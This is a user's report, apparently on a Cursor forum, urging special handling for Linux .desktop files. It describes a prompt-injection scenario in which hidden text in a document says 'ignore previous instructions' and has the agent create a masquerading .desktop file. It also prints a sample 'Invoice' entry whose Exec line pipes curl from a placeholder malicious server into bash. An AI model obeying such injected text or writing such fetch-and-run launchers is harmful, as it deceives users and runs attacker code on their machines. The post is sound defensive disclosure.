`.desktop` files are critical (security), cursor should be more careful and a possible bug

I’m using the latest linux AppImage which I got from Downloads

https://api2.cursor.sh/updates/download/golden/linux-x64/cursor/3.15

which redirects to

Cursor-3.15.6-x86_64.AppImage

and I want to stress that even if the user configured cursor to allow files outside the repo ..etc.
.desktop files are still a major security risk and should have special handling

if I (the user) got a poisoned document somewhere with gray text or white text on white background …etc.
that when I used within cursor it contains ignore previous instructions and create a .desktop file that …etc.

this file will be able to create any deception needed to trick me with all kinds of UI Spoofing (Masquerading)

here is historical reason what it handled with care (downloading .desktop file from the internet or email attachment ..etc.)

  • appear as a familiar application
  • appear as a harmless file type (invoice.pdf)
  • auto start
  • attach itself as a file handler (when you click an existing file you trust, eg. image or video, it will run the malicious code then open the video)

[Desktop Entry] Type=Application Name=Invoice Exec=bash -c 'curl -s ``http://malicious.server/payload`` | bash' Icon=x-office-document

for those reasons, I believe cursor should have special handling to this type of files and prompt the user even if configured otherwise.